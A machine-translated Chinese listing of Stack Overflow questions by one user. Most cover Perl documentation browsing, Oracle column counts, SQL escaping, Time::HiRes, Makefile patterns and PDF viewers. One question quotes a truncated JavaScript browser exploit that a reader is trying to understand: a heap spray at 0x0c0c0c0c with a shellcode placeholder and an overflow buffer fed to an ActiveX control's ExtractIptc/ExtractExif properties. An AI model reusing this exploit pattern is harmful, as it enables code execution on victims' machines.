小编der*_*ert的帖子

Perl文档(POD)浏览器?

我正在寻找一个良好的屏幕POD阅读体验.

多年来,我一直使用perldocman运行在xterm屏幕上阅读Perl文档,并打造一个小型自定义程序Pod::LaTeX来打印它.印刷版很好:脚本做得很好.但是,屏幕阅读很痛苦:

  • 你可以搜索,但祝你好运,例如,中的as部分DBIx::Class::ResultSet.Less对文档的结构一无所知,搜索常见的英文单词毫无意义.
  • 我每次文件告诉我时都会害怕see section so-and-so.大.现在我必须找到它.然后回到我原来的地方将不会是微不足道的(虽然这可能是我不那么无知的表现)
  • 看文件某某更糟糕.!perldoc foo有效,但两个文件之间的切换很难.你可以通过暂停较少并perldoc从shell 运行来解决这个问题,但这是更多的击键而且我很懒.
  • 格式化有很多不足之处.

我希望能够单击目录,然后转到该部分.我希望能够点击"看到其他"然后去那里.等等.到目前为止,我知道两种可能性:

我正在运行Debian GNU/Linux,Lenny和Squeeze.但请为所有平台建议程序,以使其尽可能有用.

documentation perl user-interface cpan pod

12
推荐指数
2
解决办法
1983
查看次数

列数

你如何计算oracle中表中的列数?

sql oracle schema

8
推荐指数
2
解决办法
1万
查看次数

只有逃避必要的东西才有可能吗?

我正在网站上与开发团队合作.该网站将使用课程.我负责为类创建数据访问层.了解所有用户输入将在检索时(从帖子或获取)进行转义.几乎没有对输入级别的控制(除非我亲自审查每个人的代码),我认为在我的结尾处(在它到达数据库之前)也会很酷.问题是我不知道如何使用mysql_real_escape_string而不添加更多斜杠.

由于用户输入可能包含斜杠,我无法检查以确保其中有斜杠.我或许可以检查所有需要转义的东西,并确保它们前面有一个斜线,但这似乎不是最好的方法.

有什么建议?

php mysql

7
推荐指数
2
解决办法
287
查看次数

为什么Time :: HiRes :: stat中断列表下标?

我无法弄清楚这里发生了什么.下面的8来自哪里?

Time::HiRes提供了一个重载,stat它可以扩展时间以获得高分辨率(我的系统支持).

$ perl  -MTime::HiRes -e 'print +(stat("foo"))[8], "\n"'              # V1
1322915623
$ perl  -MTime::HiRes=stat -e 'print +(stat("foo"))[8], "\n"'         # V2
8
$ perl  -MTime::HiRes=stat -e '@a = stat("foo"); print $a[8], "\n"'   # V3
1322915623
Run Code Online (Sandbox Code Playgroud)

那个特定的文件没有高分辨率的时间戳,但这不是神秘的:神秘的是V2,它打印8.实际上,它总是在方括号中打印数字.

明显的答案,它解析不同,似乎不正确:

$ perl -MO=Deparse -MTime::HiRes -e 'print +(stat("foo"))[8], "\n"'         # V1
use Time::HiRes;
print((stat 'foo')[8], "\n");
-e syntax OK
$ perl -MO=Deparse -MTime::HiRes=stat -e 'print +(stat("foo"))[8], "\n"'    # V2
use Time::HiRes (split(/,/, 'stat', 0));
print((stat 'foo')[8], "\n");
-e syntax OK
Run Code Online (Sandbox Code Playgroud)

它们相同(除了不同的选项 …

arrays perl time-hires

7
推荐指数
1
解决办法
253
查看次数

我不明白这个守则

我不明白这段代码:

function ms(){ 
    var plc=unescape('".
    unescape( '\x43\x43\x43\x43\n.............\xEF'. $URL).CollectGarbage(); 
    if (mf)return(0);
    mf=1; 
    var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
    var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
    for(i=0;i<hb;i++) m[i]=ss+plc; 
    hav();
    return(1); 
    }  
Run Code Online (Sandbox Code Playgroud)

在上面的函数中,我似乎无法弄清楚变量类型,或者弄清楚它对hsta变量做了什么,以及它分配给它的内容:

var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
for(i=0;i<hb;i++)m[i]=ss+plc;
Run Code Online (Sandbox Code Playgroud)

我也无法弄清楚这个功能:

function fb(){
    try {
        var obj=null;
        obj=cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}');
        if(obj){
            ms();
            var buf = addr(0x0c0c0c0c);
            while (buf.length < 400) buf += buf;
            buf = buf.substring(0,400);
            obj.ExtractIptc = buf;
            obj.ExtractExif = buf;
            }
       } catch(e){}
    return 0;
    }
Run Code Online (Sandbox Code Playgroud)

以下代码是什么意思?

cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}')

这是一个什么样的变量?

var buf = addr(0x0c0c0c0c);
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf; …
Run Code Online (Sandbox Code Playgroud)

javascript security exploit

6
推荐指数
1
解决办法
1022
查看次数

垂死软件的迹象

什么迹象表明软件正在消亡?


开发人员如何发现早期警告以保存一个软件不会死亡?

从用户的角度来看,我认为很清楚 - 他们无法有效使用,他们会垃圾.

除此之外,软件可能因其代码而死 - 架构,编码风格,代码库大小,代码库组织和程序员的质量.

我想知道如何听取软件死亡的迹象并采取纠正措施.任何着名的例子软件都没有,因为没有开发人员听过这些标志?是否保存了死亡软件的任何示例?

software-quality

6
推荐指数
3
解决办法
851
查看次数

Linux:将100万个文件移动到基​​于前缀的创建文件夹中

我有一个名为"images"的目录,里面装满了大约一百万张图片.是的.

我想写一个shell命令将所有这些图像重命名为以下格式:

原文: filename.jpg
新: /f/i/l/filename.jpg

有什么建议?

谢谢,

linux directory shell rename file

6
推荐指数
1
解决办法
1995
查看次数

如何获取模式规则以匹配文件名与Makefile中的空格?

在GNU make docs中,'%'被记录为匹配"any nonempty substring".但是,它似乎实际上只匹配不包含空格的非空子串.例如,假设你这样做:

mkdir /tmp/foo
cd /tmp/foo
echo 'int main() { return 0; }' > "test.c"
echo 'int main() { return 0; }' > "test space.c"
Run Code Online (Sandbox Code Playgroud)

现在,您应该能够使用GNU Make的内置模式规则构建它们:

anthony@Zia:/tmp/foo$ make "test"
cc     test.c   -o test
anthony@Zia:/tmp/foo$ make "test space"
make: *** No rule to make target `test space'.  Stop.
Run Code Online (Sandbox Code Playgroud)

编写makefile时会出现同样的问题.

anthony@Zia:/tmp/foo$ rm test
anthony@Zia:/tmp/foo$ echo 'all: test test\ space' > Makefile 
anthony@Zia:/tmp/foo$ make
cc     test.c   -o test
make: *** No rule to make target `test space', needed by …
Run Code Online (Sandbox Code Playgroud)

filenames whitespace design-patterns makefile rule

6
推荐指数
1
解决办法
2425
查看次数

如何检查Perl标量是否可以视为子例程?

我有一个最初只使用纯常数常量的API,但我对其进行了扩展,以便在使用时可以通过传递子例程引用来计算它。为了保持向后兼容性,我正在测试它是否是代码参考:

'CODE' eq ref($var)
    ? $var->()
    : $var;
Run Code Online (Sandbox Code Playgroud)

但我意识到不包括充当子例程的对象。像这样:

package Foo {
    sub new { bless {}, 'Foo' }
    use overload '&{}' => sub { sub { "Hello, world." } };
}
Run Code Online (Sandbox Code Playgroud)

我可以尝试在一个eval块中调用它,但是随后必须仔细检查$@以确定它是否失败,因为它不是子例程引用(因此回落为简单的标量),而被调用的子例程在某些情况下失败了原因(应该传播错误)。

当然,在这种情况下,由于旧值是一个非引用,因此我可以假定任何引用都是可调用的,但是我想要一个通用的解决方案(因为在以前它是哈希引用之前,我曾使用过这种方法)。有没有简单可靠的方法来测试标量是否“可执行”?

perl closures reference operator-overloading

6
推荐指数
1
解决办法
99
查看次数

如何在跨平台的C++应用程序中嵌入PDF查看器?

我需要在我的应用程序中嵌入PDF查看器.我可以使用任何免费软件吗?

谢谢.

c++ pdf cross-platform

5
推荐指数
2
解决办法
8932
查看次数